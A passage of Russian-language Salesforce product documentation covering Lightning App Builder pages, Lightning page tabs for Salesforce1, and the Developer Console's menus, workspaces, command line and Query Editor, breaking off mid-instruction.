Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Конструкторприложений Lightningподдерживаетнастраиваемыекомпоненты Lightning.

Настраиваемые компоненты вашей организации, настроенные для использования в
конструкторе приложений Lightning, отображаются на панели компонентов Lightning.

Компонентыстраницы Lightningнастраницеприложенияможносвязатьтолькособъектами, поддерживаемымиSalesforce1.
Список поддерживаемых объектов см. в разделе «Данные, доступные в мобильном приложении Salesforce1».

Настраиваемые компоненты Lightning не запускаются автоматически в конструкторе приложений Lightning. Для
использования настраиваемого компонента на страницах Lightning и в конструкторе приложений Lightning необходимо
выполнить следующие действия.

1. Настройте компонент и набор его компонентов таким образом, чтобы они были совместимы с конструктором
приложений Lightning. Подробные сведения см. в Руководстве разработчика компонентов Lightning.

2. Включите «Мой домен» для своей организации. После включения функции «Мой домен» справочные материалы и
ссылки на ресурсы Lightning будут отображаться в формате https://<мой_домен>.lightning.force.com.

Алгоритм работы действий на страницах Lightning

Чтобы расширить функциональность домашней страницы приложения в Salesforce1, добавьте действия на страницу
Lightning.

Прежде чем добавить на страницу Lightning, рекомендуем создать действия в полной версии системы Salesforce.

Начальные страницы приложений поддерживают только глобальные действия.

Стандартные действия Chatter (например, «Сообщение», «Файл», «Ссылка» и «Опрос») не поддерживаются.

При открытии страницы Lightning в приложении Salesforce1 отображаются только действия, выбранные для страницы
Lightning.При отсутствии выбранных действий панель действий не отображается после открытия страницы.
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Создание начальной страницы приложения посредством конструктора приложений
Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и сохранения
страниц Lightning в
конструкторе приложений
Lightning:
• «Настройка

приложения»

Для просмотра страниц
Lightning в конструкторе
приложений Lightning:
• «Просмотр настройки»

Рекомендуем использовать страницу приложения для создания начальной страницы
приложения, которая затем может быть добавлена прямо в мобильную навигацию
приложения Salesforce1. Таким образом, пользователи Salesforce1 смогут быстро
просматривать наиболее важные объекты и элементы приложения.

1. Введите строку «Конструктор приложений» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Конструктор приложений».

2. Нажмите кнопку «Создать».

3. Нажмите кнопку «Далее».

4. Выберите нужныйшаблон страницы и нажмите кнопку «Далее».

5. Введите метку страницы Lightning.

Метка может содержать не более 80 символов.

6. Нажмите кнопку «Готово».

7. Выберите и перетащите нужные компоненты.

Чтобы изменить порядок отображения компонентов, переместите нужные
компоненты вверх или вниз. Чтобы создать область вставки ( ) для следующего
компонента, щелкните верхнюю или нижнюю границу компонента.

Совет: Чтобы изменить текущее представление, воспользуйтесь
раскрывающейся кнопкой на панели инструментов.

8. Чтобы настроить свойства компонентов, щелкните каждый компонент страницы.

9. Чтобы настроить свойства страницы, щелкните пустую область холста или ссылку
«Страница».

Поле «Описание» может содержать не более 255 символов. Поле «Имя
разработчика» может содержать не более 80 символов. При наличии организации,
использующейпространствоимен, рекомендуемиспользоватьнеболее 65 символов. Присозданиистраницы Lightning
имя разработчика извлекается из первых 40 символов введенной метки.

10. При необходимости добавьте глобальные действия на страницу.

a. Нажмите кнопку «Выбрать» в свойствах страницы.

b. Добавьте, удалите или измените порядок отображения действий на странице.

Выбранныедействияотображаютсянапанелидействийстраницывприложении Salesforce1. Принеобходимости
добавьтенаначальнуюстраницуприложениятолько глобальныедействия. Приотсутствиидействий, назначенных
странице Lightning, панель действий не отображается на странице в приложении Salesforce1.

c. Нажмите кнопку «OK».

11. По завершении редактирования страницы нажмите кнопку «Сохранить».

Прежде чем выбрать созданную страницу в качестве начальной в приложении Salesforce1, рекомендуем активировать
страницу.
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Добавление страницы приложения Lightning в приложение Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и сохранения
страниц Lightning в
конструкторе приложений
Lightning:
• «Настройка

приложения»

Для просмотра страниц
Lightning в конструкторе
приложений Lightning:
• «Просмотр настройки»

Прежде чем добавить страницу приложения в приложение Salesforce1, рекомендуем
активировать страницу. Пользователь может переименовать страницу, настроить
соответствующую вкладку и определить порядок отображения страницы в меню
навигации. Активацияможет быть выполнена автоматически с помощьюконструктора
приложений Lightning или вручную с помощью меню «Настройка».

1. Чтобы открыть страницу Lightning, введите в меню «Настройка» «Конструктор
приложений Lightning» в поле «Быстрый поиск», выберите «Конструктор
приложений Lightning» и нажмите кнопку «Правка» рядом со страницей.

2. Нажмите кнопку «Активировать» в конструкторе приложений Lightning.

3. При необходимости обновите свойства активации.

Ниже перечислены доступные действия.

• Измените метку настраиваемой вкладки страницы. По умолчанию метка,
назначенная странице Lightning, используется в качествеметки соответствующей
настраиваемой вкладки.

• Измените значок настраиваемой вкладки. Выбранный значок используется в
качестве значка приложения в приложении Salesforce1.

• Припервоначальнойактивациистраницыопределитедоступностьнастраиваемой
вкладки. Привыборепараметра «Только системным администраторам» вкладка
отображается всем пользователям с профилем «Системный администратор».

• Определите порядок отображения страницы в меню навигации приложения
Salesforce1.

Прим.: Первый элемент меню навигации становится целевой страницей
приложения Salesforce1. Вкладка страницы Lightning, выбранная в качестве
первого элемента меню, позволяет отображать пользователям
настраиваемую страницу при открытии приложения Salesforce1.

Вкладка, расположеннаянижеэлементаменю «Элементыинтеллектуального
поиска», позволяет отображать страницу в разделе «Приложения» меню
навигации приложения Salesforce1.

4. Нажмите кнопку «Активировать».

Теперь страница Lightning может использоваться в мобильном приложении Salesforce1!

5549

Создание настраиваемых мобильных приложений
посредством страниц Lightning и конструктора приложений

Lightning

Расширение Salesforce посредством интерактивных
инструментов



Создание вкладок страницы Lightning

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания и
редактирования
настраиваемых вкладок:
• «Настройка

приложения»

Прежде чем добавить страницу Lightning в меню навигации приложения Salesforce1,
рекомендуем создать соответствующую настраиваемую вкладку.

Вкладки страницы Lightning не доступны на сайте Salesforce и, в отличие от других
настраиваемых вкладок, не могут использоваться в системе Salesforce. В Salesforce Classic
неотображаютсяна странице «Все вкладки» принажатии значка ( ) справа от текущих
вкладок. Кроме того, вкладки страницы Lightningне отображаются в списке «Доступные
вкладки» принастройкевкладокдляприложений. Крометого, вкладкистраницы Lightning
не доступны в Lightning Experience.

Вкладкистраницы Lightningиспользуютсятолькодля упрощениядобавлениястраницы
Lightning в меню навигации приложения Salesforce1.

1. Введите строку «Вкладки» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Вкладки».

2. Нажмите кнопку «Создать» в связанном списке «Вкладки страницы Lightning».

3. Выберите нужную страницу Lightning для вкладки.

4. Введите метку.

Данный текст соответствует имени страницы Lightning, отображаемому в меню
навигации приложения Salesforce1.

5. Чтобы открыть окно «Выбор стиля вкладки», щелкните значок поиска напротив поля «Стиль вкладки».

Если стиль вкладки уже используется, то напротив имени стиля вкладки в квадратных скобках [] отображается число.
Чтобы просмотреть вкладки, использующие данный стиль, наведите указатель мыши на имя нужного стиля. Чтобы
отфильтровать данный список, щелкните «Скрыть стили, используемые на других вкладках».

6. Чтобы выбрать цветовую схему и значок для вкладки страницы Lightning, щелкните нужный стиль вкладки.

Выбранный значок соответствует значку, отображаемому слева от метки страницы Lightning в меню навигации
приложения Salesforce1.

Чтобы создать настраиваемый стиль вкладки, нажмите кнопку «Создать собственный стиль» в окне «Выбор стиля
вкладки» (при наличии доступа ко вкладке «Документы»). Чтобы создать собственный стиль вкладки, выполните
указанные ниже действия.

a. Чтобы открыть диалоговое окно выбора цвета, щелкните значок поиска напротив поля «Цвет».

b. Нажмите кнопку «Вставить изображение», выберите папку документов и нужное изображение.

Чтобы найти документ, имя которого содержит поисковый запрос, щелкните «Поиск в документах», введите
поисковый запрос и нажмите кнопку «Начать».

Прим.: Данное диалоговое окно содержит файлы размером не более 20 Кб, которые доступны в папках
документов и в свойствах которых установлен флажок «Внешний доступ». При удалении документа,

используемого для значка, система Salesforce заменяет его стандартным разноцветным значком блока ( ).

c. Выберите нужныйфайл и нажмите кнопку «OK».При этом откроется мастер создания настраиваемой вкладки.

7. При необходимости введите описание вкладки и нажмите кнопку «Далее».

8. Выберите нужные профили пользователей.
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• Установитефлажок «Применить доступность вкладки ко всем профилям» и выберите значение «Включены
стандартныепараметры», «Отключеныстандартныепараметры» или «Вкладкаскрыта» израскрывающегосясписка.

• При необходимости установите флажок «Применить различную доступность вкладки в каждом профиле»
и выберите значение «Включены стандартные параметры», «Отключены стандартные параметры» или «Вкладка
скрыта» из раскрывающегося списка для каждого профиля.

Прим.: Значения «Включены стандартные параметры» и «Отключены стандартные параметры» для страниц
Lightning отличаются от аналогичных значений для других настраиваемых вкладок. Элемент меню «Страница
Lightning»отображаетсядлявыбранныхпрофилейвприложенииSalesforce1, независимоотвыбранногозначения.
Чтобы скрыть элемент меню «Страница Lightning» для выбранных профилей в приложении Salesforce1,
рекомендуем выбрать значение «Вкладка скрыта».

9. Нажмите кнопку «Сохранить».

Приложения
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Расширение Salesforce посредством кода

Добро пожаловать, разработчики Salesforce!

Данная документация содержит сведения о расширении организаций Salesforce путем разработки настраиваемых
приложений и интеграции внешних приложений.

Благодаря специальной структуре, данная документация позволяет быстро находить нужную информацию.

• Создание кода: создание кода посредством языка программирования Apex (для добавления бизнес-логики) или языка
разметкиVisualforce (для созданияпользовательскогоинтерфейса). Кроме того, документация содержитинформацию
об интеграции приложения посредством интерфейсов API и проверке подлинности внешних приложений.

• Отладка кода: отладка приложения посредством консоли разработчика.

• Тестирование изменений: тестирование кода Apex и работа с инструментами тестирования.

• Развертывание: развертывание изменений в другой организации посредством наборов изменений и других
инструментов.

Полный комплект документации разработчика см. на веб-узле https://developer.salesforce.com/page/Documentation.

Инструменты разработки Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные инструменты
определяютсяиспользуемой
версией Salesforce.

Данная таблица охватывает функции разных инструментов разработки Salesforce.

Область доступаРазвертываниеТестированиеОтладкаКодированиеИнструмент

«Имя пользователя»
или меню быстрого

доступа ( )

Консоль разработчика
Force.com

developer.salesforce.comForce.com IDE

Настройте личные
параметры

Нижнийколонтитулрежима
разработки Visualforce

НастройкаРедактор кода

НастройкаВыполнение теста Apex

НастройкаНаборы изменений

НастройкаForce.com Migration Tool
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Прим.: Force.com IDE — этобесплатныйресурс, предоставляемыйкомпанией Salesforceдляподдержкипользователей
и партнеров. Согласно Основному соглашению о подписке, данный ресурс не относится к службам Salesforce.

СМ. ТАКЖЕ:

http://wiki.developerforce.com/page/Tools

Использование консоли разработчика

Выбор инструментов для разработки и развертывания изменений

Включение режима разработки

Индивидуальная настройка системы Salesforce

Код

Создание кода
Данный раздел содержит сведения о создании кода для расширения организации.

• Использование консоли разработчика

• Защита кода

• Query Editor

• Работа с кодом

СМ. ТАКЖЕ:

Отладка кода

Тестирование изменений

Развертывание

Консоль разработчика

Открытие консоли разработчика

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр всех данных»Для использования консоли разработчика:

«Автор Apex»Для выполнения анонимного Apex:

«API включен»Для использования функции поиска кода и
выполнения SOQL или SOSL на вкладке
запроса:

«Автор Apex»Для сохранения изменений в классах и
триггерах Apex:

«Настройка приложения»Для сохранения изменений на страницах и
в компонентах Visualforce:
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«Настройка приложения»Для сохранения изменений в ресурсах Lightning:

Чтобы открыть Консоль разработчика в Salesforce Classic или Lightning Experience, необходимо всего несколько щелчков
мышью. Консольразработчика — этоинтегрированнаясредаразработки, предоставляющаядоступкнаборуинструментов,
позволяющих создавать, отлаживать и тестировать приложения в организации Salesforce.

Чтобы открыть Консоль разработчика в Salesforce Classic, сделайте следующее.

1. Щелкните Свое имя.

2. ЩелкнитеКонсоль разработчика.

Чтобы открыть Консоль разработчика в Lightning Experience,

1.
щелкните меню быстрого доступа ( ).

2. ЩелкнитеКонсоль разработчика.

Общие сведения о пользовательском интерфейсе консоли разработчика
Консоль разработчика содержит набор полезных инструментов для кодирования, отладки и тестирования приложений.

Консоль разработчика состоит из следующих разделов:

1. Строка меню

2. Рабочее пространство, содержащее вкладку для каждого открытого элемента
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3. Панели Logs, Tests и Problems

Строка меню
Ниже перечислены раскрывающиеся меню, доступные в строке меню.

• Меню File позволяет открывать и создавать ресурсы.

• Меню Edit позволяет искать и редактировать файлы кода.

• Меню Debug предоставляет доступ к разным инструментам и параметрам.

• Меню Test предоставляет доступ к инструментам тестирования.

• МенюWorkspace позволяет выбирать и управлять рабочими пространствами.

• Меню Help содержит ссылки на интерактивную справку, описание клавиш быстрого доступа и страницу настроек
консоли разработчика.

Рабочее пространство
Рабочеепространство — этонаборресурсов, представленныхв виде вкладокнаосновнойпанеликонсолиразработчика.
Подробноепредставлениеилиокноредактора, отображаемоена каждойвкладке, определяется типомресурса, открытого
навкладке. Например, исходныйкодоткрываетсявпредставлении Source Code Editor, журналыоткрываютсявпредставлении
Log Inspector и т. д.

При необходимости создайте рабочее пространство для любой группы ресурсов, совместное использование которых
позволяет максимально удобно организовать рабочий процесс. Например, создайте одно рабочее пространство для
исходного кода, а другое — для журналов отладки, и переключайтесь между ними по мере необходимости.

См. раздел «Рабочие пространства консоли разработчика».

Панели Logs, Tests и Problems

Нижняя панель консоли разработчика содержит набор полезных вкладок.

• Вкладка Logs отображает доступные журналы.

• Вкладка Tests отображает доступные тесты.

• Вкладка Checkpoints отображает доступные контрольные точки.

• Вкладка Query Editor позволяет выполнять запрос SOQL или SOSL для данных организации.

• Вкладка View State (при наличии) позволяет проверять состояние просмотра страницы Visualforce.

• Вкладка Progress отображает все асинхронные запросы в режиме реального времени. Чтобы просмотреть только
выполняемыеоперации, установитефлажокHide Finished Runs. Чтобызавершитьвсеневыполненныеразвертывания,
нажмите кнопку Cancel All Deployments. По завершении развертывания оставшийся поток опроса отображается на
вкладке Progress с небольшим опозданием. Частичные развертывания не поддерживаются. Чтобы очистить задачу
опроса, обновите консоль разработчика.

• Вкладка Problems отображает сведения об ошибках компиляции в представлении Source Code Editor. Компиляция и
проверка внесенныхизмененийвыполняются вфоновомрежиме. Строкиредактируемогокода, содержащиеошибки,
помечаются индикатором ошибки. Чтобы открыть строку кода, содержащую ошибку, щелкните нужную строку на
вкладке Problems.

Прим.: Консоль разработчика прекращает опрос на наличие новых журналов, тестовых запусков и контрольных
точекпосле 20 минутпростоя. Чтобывозобновитьобновления, последовательновыберитепунктыDebug > Resume
Updating.
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Клавиши быстрого доступа
Чтобы просмотреть список клавиш быстрого доступа, поддерживаемых консолью разработчика, последовательно
выберите пункты Help > Shortcut Keys или воспользуйтесь комбинацией клавиш CTRL + SHIFT + ?.

СМ. ТАКЖЕ:

Использование консоли разработчика

Меню File

Меню Debug

Query Editor

Вкладка Logs

Вкладка Checkpoints

Использование консоли разработчика

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Просмотр всех данных»Для использования консоли разработчика:

«Автор Apex»Для выполнения анонимного Apex:

«API включен»Для использования функции поиска кода и
выполнения SOQL или SOSL на вкладке
запроса:

«Автор Apex»Для сохранения изменений в классах и
триггерах Apex:

«Настройка приложения»Для сохранения изменений на страницах и
в компонентах Visualforce:

«Настройка приложения»Для сохранения изменений в ресурсах
Lightning:

Что такое консоль разработчика?
Консоль разработчика — это интегрированная среда разработки, предоставляющая доступ к набору инструментов,
позволяющих создавать, отлаживать и тестировать приложения в организации Salesforce.

ДополнительнуюинформациюоКонсолиразработчика см. вразделе «Общиесведенияопользовательскоминтерфейсе
консоли разработчика». Последние новости и материалы по разработке Salesforce см. на веб-узле developer.salesforce.com.

Как может использоваться консоль разработчика?
Консоль разработчика позволяет выполнять разные задачи разработки.

Отладка и устранение неполадок

Консоль разработчика предоставляет быстрый доступ к набору инструментов, обеспечивающих эффективное
отслеживание логических ошибок.
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• Просмотржурналов. Чтобыпросмотреть списокжурналов, воспользуйтесь вкладкой Logs. Чтобыоткрытьжурналы,
воспользуйтесь представлением Log Inspector. Представление Log Inspector — это контекстно-зависимая область
выполнения, отображающаяисточник, причинуирезультатыоперации. Данныйинструментпозволяетпросматривать
журналыотладки, содержащиесобытиябазыданных, процессыобработкиApex, бизнес-процессыилогикупроверки.

• Настройка и просмотр контрольных точек в коде Apex. Чтобы задать контрольные точки для определения
источника ошибок, воспользуйтесь консолью разработчика. Например, чтобы определить причину отображения
ошибки в результате выполнения определенного запроса, пользователь может просмотреть процесс выполнения,
найти логический блок, содержащий ошибку, и задать контрольную точку. Чтобы получить более полное
представление о возможных способах исправления кода, пользователь может повторно выполнить процесс и
просмотреть запрос в указанной точке. Вотличие от традиционнойпрограммы-отладчика, консоль разработчика не
позволяет делатьпаузыво время выполнения, ноприэтомдоступна удаленнымразработчикамине требуетширокого
использования команд System.debug в коде.

Редактирование и навигация по исходному коду

Консоль разработчика позволяет просматривать, открывать, редактировать и создавать файлы исходного кода.

• Просмотр пакетов в организации. Просмотрите содержимое пакетов, созданных в организации.

• Просмотриредактированиеклассовитриггеров Apex. Откройтеиизмените триггерыиклассы Apex илиоткройте
представление определений настраиваемого объекта, доступное только для чтения.

• Просмотр и редактирование компонентов Lightning. Откройте и измените ресурсы Lightning (например,
приложение, компонент, событие или интерфейс).

• Просмотриредактирование страницикомпонентов Visualforce. Откройте и измените страницыи компоненты
Visualforce.

• Использование Source Code Editor. Откройтерабочийнаборфайловкода, поддерживающийудобноепереключение
между файлами. Представление Source Code Editor консоли разработчика поддерживает функцию автозаполнения
для кода Apex.

Тестирование и проверка производительности

Консоль разработчика поддерживает разные функции, предназначенные для тестирования кода и анализа
производительности.

• Тестирование кода Apex. Чтобы проверить покрытие кода и выполнить тесты Apex, включая поблочные тесты,
функциональные тесты и регрессивные тесты, воспользуйтесь консолью разработчика. Чтобы упростить процесс
разработкинадежногобезошибочногокода, Apexподдерживает созданиеивыполнение поблочныхтестов. Поблочный
тест — это метод класса, позволяющий проверить работу отдельного фрагмента кода. Методы поблочного теста не
используют аргументы, не передают данные в базу данных, не отправляют сообщения эл. почты, но помечаются
ключевымсловом testMethod илипримечанием isTest вопределенииметода. Крометого, методытестадолжны
быть заданы в классах теста (классы с примечанием isTest).

• Проверкажурналов на наличие ошибок производительности. Представление Log Inspector — это
контекстно-зависимая область выполнения, отображающая источник, причину и результаты операции. Данный
инструмент позволяет просматривать журналы отладки, содержащие события базы данных, процессы обработки
Apex, бизнес-процессы и логику проверки. Вкладка Performance Tree журнала отладки позволяет просматривать
совокупную производительность по отдельным операциям. Панель Executed Units разбивает запрос по времени и
типу, а также фильтрует выбранные временные интервалы по методам, запросам, бизнес-правилам, выноскам, DML,
проверкам, триггерам и страницам, позволяя более точно определить область поиска ошибок производительности.
Панель Timeline позволяет просматривать временнуюшкалу для всего запроса и отдельные события для выбранного
блока. Панель Limits содержитсводныеданныепоколичествуиспользованныхресурсовисопоставляет этипоказатели
с действующими ограничениями.

Выполнение запросов SOQL и SOSL
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Консоль разработчика поддерживает удобный интерфейс для управления запросами SOQL и SOSL.

• Редактирование и выполнение запросов SOQL и SOSL. Вкладка Query Editor позволяет отправлять запросы на
данные организации.

• Просмотррезультатовзапроса. Результатыотображаются в сетке Query Results, позволяющейоткрывать, создавать,
обновлять и удалять записи. Припросмотре результатов многообъектного поиска SOSL каждыйобъект отображается
на отдельной вкладке.

СМ. ТАКЖЕ:

Открытие консоли разработчика

Общие сведения о пользовательском интерфейсе консоли разработчика

Меню File

Вкладка Logs

Примеры использования представления Log Inspector

Использование командной строки на консоли разработчика
Чтобы открыть или закрыть окно командной строки на консоли разработчика, воспользуйтесь комбинацией клавиш
CTRL + SHIFT + L. Ниже перечислены доступные команды.

ОписаниеПараметрыКоманда

Список всех команд.Нетcommands

Выполнение <операторы Apex> и
создание журнала.

<операторы Apex>: какминимумодин
оператор Apex.

exec <операторы Apex>

-o: открытие окна Enter Apex Code.

-r: выполнение кода в окне Enter Apex
Code и создание журнала.

Нетexec [-o | -r]

Поиск строки в журнале.<строка>: строка символов.find <строка>

Справка по просмотру сведений о
командах.

Нетhelp

Отображение описания команды.<команда>: команда окна командной
строки.

man <команда>

Рабочие пространства консоли разработчика
Рабочеепространство — этонаборресурсов, представленныхв виде вкладокнаосновнойпанеликонсолиразработчика.
Подробноепредставлениеилиокноредактора, отображаемоена каждойвкладке, определяется типомресурса, открытого
навкладке. Например, исходныйкодоткрываетсявпредставлении Source Code Editor, журналыоткрываютсявпредставлении
Log Inspector и т. д.

При необходимости создайте рабочее пространство для любой группы ресурсов, совместное использование которых
позволяет максимально удобно организовать рабочий процесс. Например, создайте одно рабочее пространство для
исходного кода, а другое — для журналов отладки, и переключайтесь между ними по мере необходимости.
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МенюWorkspace содержит все необходимые ссылки.

• Switch Workspace: выбор сохраненного рабочего пространства.

• New Workspace: созданиерабочегопространства. Введитеимярабочегопространстваинажмитекнопку «OK». Откройте
нужные ресурсы в рабочем пространстве. Чтобы сохранить рабочее пространство, выберите другое рабочее
пространство или закройте консоль разработчика.

• Rename Current Workspace: переименование текущего рабочего пространства.

• Workspace Manager: открытие всплывающего окна, позволяющего просматривать, открывать, создавать и удалять
рабочие пространства.

Ниже перечислены типы ресурсов, которые могут быть открыты в рабочем пространстве консоли разработчика.

• Журналы открываются в представлении Log Inspector.

• Контрольные точки открываются в представлении Checkpoint Inspector.

• Классы и триггеры Apex, а также страницы и компоненты Visualforce, открываются в представлении Source Code Editor.

• Метаданные организации и прочие некодовые ресурсы открываются в представлении Object Inspector.

• Результаты запроса, перечисленные на вкладке Query Editor, открываются в редактируемой сетке Query Results.

• Выполненные тестовые запуски, перечисленные на вкладке Tests, открываются в представлении Test Results.

Чтобы свернуть неиспользуемые панели, воспользуйтесь кнопками . Щелкните нужную свернутуюпанель
для ее временного отображения. Панель автоматически сворачивается при перемещении курсора за ее пределы.

При выборе другого рабочего пространства или закрытии консоли разработчика состояние вкладок (и их панелей) в
текущемрабочемпространствесохраняется. Приотсутствиисозданногорабочегопространстваконфигурациясохраняется
как стандартное рабочее пространство.

Навигация по вкладкам
Чтобывыбратьдругуювкладкурабочегопространства, откройтесоответствующуювкладкуиливоспользуйтесьуказанными
ниже клавишами быстрого доступа.

• Влево: CTRL + Page Up

• Вправо: CTRL + Page Down

Навигация по журналу просмотров

Чтобы пролистать журнал просмотров, нажмите кнопки или воспользуйтесь указанными ниже клавишами
быстрого доступа.

• Назад: CTRL + ,

• Вперед: CTRL + .

При нажатии кнопки  (или CTRL + ,) отображаются предыдущие вкладки в порядке их просмотра. Кнопка
активируется только при просмотре журнала.

СМ. ТАКЖЕ:

Общие сведения о пользовательском интерфейсе консоли разработчика

Source Code Editor
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Меню File
МенюFile консолиразработчикапозволяет управлять триггерамииклассами Apex, а такжестраницамииликомпонентами
Visualforce и статическими ресурсами (текст, XML, JavaScript или CSS). Ниже перечислены доступные пункты меню.

• New: создание и открытие ресурса в представлении Source Code Editor. Ниже перечислены ресурсы, доступные для
создания.

– Класс или триггер Apex. Чтобы создать триггер Apex, сначала выберите объект для связывания с триггером.

– Приложение, компонент, событиеилиинтерфейс Lightning. Дополнительнуюинформациюсм. вразделе «Общие
сведения об инфраструктуре компонентов Lightning» на странице 5643.

Прим.: Чтобы создать ресурсы Lightning, воспользуйтесь организацией Developer Edition, поддерживающей
префикс пространства имен.

– Страница или компонент Visualforce.

– Файл статических ресурсов (текст, XML, JavaScript или CSS).

• Open: отображение окна Open меню File, позволяющего просматривать и открывать код приложения и объекты
данных.

• Open Resource: отображение окна Open Resource, позволяющего искать файлы по имени.

• Open Log: открытие выбранногожурнала впредставлении Log Inspector. Принеобходимостивоспользуйтесь вкладкой
Logs.

• Open Raw Log: открытие выбранного журнала в виде обычного текста.

• Download Log: сохранение текстовой копии выбранного журнала на локальном компьютере.

• Save: сохранение элемента на активной вкладке.

• Save All: сохранение изменений на всех вкладках, открытых в рабочем пространстве. Данный пункт меню позволяет
сохранить набор зависимых изменений.

• Delete: удаление элементана активнойвкладке. Пользователимогут удалять только классыи триггерыApex, страницы
Visualforce и файлы статических ресурсов.

• Close: закрытие активной вкладки.

• Close All: закрытие всех вкладок, открытых в рабочем пространстве. При наличии несохраненных изменений
отображается запрос на сохранение.

СМ. ТАКЖЕ:

Использование окна Open меню File

Source Code Editor

Object Inspector

Использование окна Open меню File
Окно Open (File > Open) вменюконсолиразработчикапозволяет просматриватьи открывать кодприложенияиобъекты
данных.
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Чтобы выбрать элемент в окне Open, выполните указанные ниже действия.

1. Выберите нужный тип элемента в столбце Setup Entity Type.

2. Чтобы найти нужный элемент, прокрутите содержимое столбца Entities.

Чтобы отфильтровать отображаемые элементы, щелкните текстовую область Filter и введите текстовую строку для
отображения только элементов, соответствующихзаданномукритериюфильтрации. Поискчувствителенкрегистру.

3. Чтобы просмотреть связанные элементы в столбце Related, щелкните нужный элемент один раз.
Например, чтобы просмотреть классы Apex, использующие объект, щелкните соответствующий объект.

4. Чтобы открыть элемент в новой вкладке, дваждыщелкните или выберите нужный элемент и нажмите кнопку Open.

Файлы кода открываются в представлении Source Code Editor, а объекты данных — в представлении Object Inspector.

Принеобходимости просмотрите и откройте содержимое пакетов организации в окне Open (File > Open). Пользователи
могут просматривать полное содержимое пакетов, а также открыватьфайлы кода и настраиваемые объекты, хранящиеся
в пакете. Другие элементы пакета (например, настраиваемые поля и правила проверки) могут быть просмотрены только
в списке.

Прим.: Содержимое управляемых пакетов, установленных в организации, недоступно для просмотра или
редактирования. Пользователи могут просматривать, открывать и редактировать объекты неуправляемых пакетов
как собственные.

СМ. ТАКЖЕ:

Source Code Editor

Log Inspector

Object Inspector

Меню Edit
Меню Edit консоли разработчика позволяет искать и редактировать файлы кода.

• Find: поисквыбранноготекстапотекущемупредставлению. Приотсутствиивыбранноготекстаоткрываетсядиалоговое
окно поиска обозревателя.

• Find Next: поиск следующего совпадения для выбранного или указанного текста по текущему представлению.

• Find/Replace: поиск и замена выбранного или указанного текста по текущему представлению.

• Search in Files: открытие диалогового окна поиска для поиска содержимого всех файлов кода.

• Fix Indentation: исправление отступа в текущемфайле кода.
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Меню Debug
МенюDebug консоли разработчика позволяет управлять журналами и выполнять анонимный Apex. Ниже перечислены
доступные пункты меню.

• Open Execute Anonymous Window: открытие нового окна, позволяющего вводить код Apex для тестирования. См.
раздел «Выполнение анонимного кода Apex».

• Execute Last: выполнение последней записи в окне Enter Apex Code.

• Switch Perspective: выбор перспективы в списке доступных стандартных и настраиваемых перспектив. См. раздел
«Log Inspector».

• View Log Panels: отображение списка доступных панелей для использования в перспективе.

• Perspective Manager: открытие представления Perspective Manager. См. раздел «Управление перспективами в
представлении Log Inspector».

• Save Perspective: сохранение изменений, внесенных после открытия текущей перспективы.

• Save Perspective As: сохранение копии текущей перспективы под другим именем.

• Auto-Hide Logs: сокрытие текущих журналов при обновлении страницы.

• Show My Current Logs Only: данныйфлажокустановленпоумолчанию. Чтобыпросмотретьвсежурналы, сохраненные
для организации, включая журналы, созданные другими пользователями, снимите данныйфлажок.

• Show My Current Checkpoints Only: данныйфлажок установленпо умолчанию. Чтобыпросмотреть все контрольные
точки, сохраненные для организации, включая контрольные точки, созданные другими пользователями, снимите
данныйфлажок.

• Clear: чтобы удалить текущие данные из кэша и обновить отображаемые данные, выберите Log Panel, Checkpoint
Results Panel или Checkpoint Locations.

• Resume Updating: восстановление подключения к серверу. Данный пункт меню отображается только при отмене
опроса в результате простоя.

• Change Log Levels: открытие диалогового окна параметров журнала для определения уровней регистрации будущих
запросов. См. раздел Уровни журнала отладки.

Прим.: Некоторые пункты меню Debug доступны только после создания журнала.

СМ. ТАКЖЕ:

Выполнение анонимного кода Apex

Log Inspector

Управление перспективами в представлении Log Inspector

Уровни журнала отладки

Query Editor
Рекомендуем использовать вкладку Query Editor консоли разработчика для выполнения запроса SOQL или поиска SOSL
для данных организации. Панель History отображает последние 10 запросов для быстрого повторного использования.
Результаты отображаются в сетке Query Results, позволяющей открывать, создавать, обновлять и удалять записи. При
просмотре результатов многообъектного поиска SOSL каждый объект отображается на отдельной вкладке.
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Выполнение запроса SOQL или поиска SOSL

Чтобы выполнить запросы SOQL или поиски SOSL, воспользуйтесь панелью Query Editor консоли разработчика.

Извлечение планов запросов
Чтобы оптимизировать и ускорить запросы, выполняемые над большим количеством записей, воспользуйтесь
инструментом Query Plan. Просмотрите планы запросов для запросов SOQL, поисков SOSL, отчетов и списковых
представлений. Приналичиидоступныхнастраиваемыхиндексоввоспользуйтесьпланамизапросовдляопределения
необходимости запроса настраиваемого индекса от службы поддержки Salesforce.

Сетка Query Results

Сетка Query Results отображает каждую запись в виде строки. При необходимости пользователи могут создавать,
обновлятьи удалять записибез закрытияконсолиразработчика. Припросмотререзультатовмногообъектногопоиска
SOSL каждый объект отображается на отдельной вкладке.

СМ. ТАКЖЕ:

Использование консоли разработчика

Выполнение запроса SOQL или поиска SOSL

Чтобы выполнить запросы SOQL или поиски SOSL, воспользуйтесь панелью Query Editor консоли разработчика.

1. Введите запрос SOQL или поиск SOSL на панели Query Editor.

